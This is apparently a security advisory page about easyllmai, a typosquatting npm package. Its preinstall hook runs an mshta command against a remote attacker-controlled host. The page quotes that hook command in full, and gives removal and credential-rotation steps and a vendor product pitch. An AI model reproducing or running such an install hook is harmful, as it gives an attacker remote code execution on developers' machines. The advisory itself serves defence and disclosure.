easyllmainpm
Advisory published Updated
easyllmai is a confirmed malicious npm package (MAL-2026-5895) that typosquats a legitimate package to trick installs (malicious versions 3.0.1, 4.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in easyllmai (npm)
What this malware does
On npm install, the package's preinstall lifecycle hook ("preinstall": "node preinstall.js") unconditionally runs exec('cmd /c "mshta http://fixars.top"'). On Windows, mshta is a living-off-the-land binary that fetches and executes arbitrary HTML Application / JScript / VBScript content from the supplied URL with the invoking user's privileges. The destination is plain HTTP, attacker-controlled, and the delivered payload is opaque remote code with no signature, hash, or version pinning — giving the publisher full remote code execution on any Windows machine that runs npm install. Package metadata is also a throwaway shape (empty description, empty author, no repository, no keywords) and the name easyllmai is consistent with a typosquat lure against legitimate LLM-client packages.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for easyllmai (2 malicious versions).
If you installed it — respond
easyllmai is a typosquat — you almost certainly intended a legitimately-named package. Remove easyllmai, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If easyllmai was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks easyllmai-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.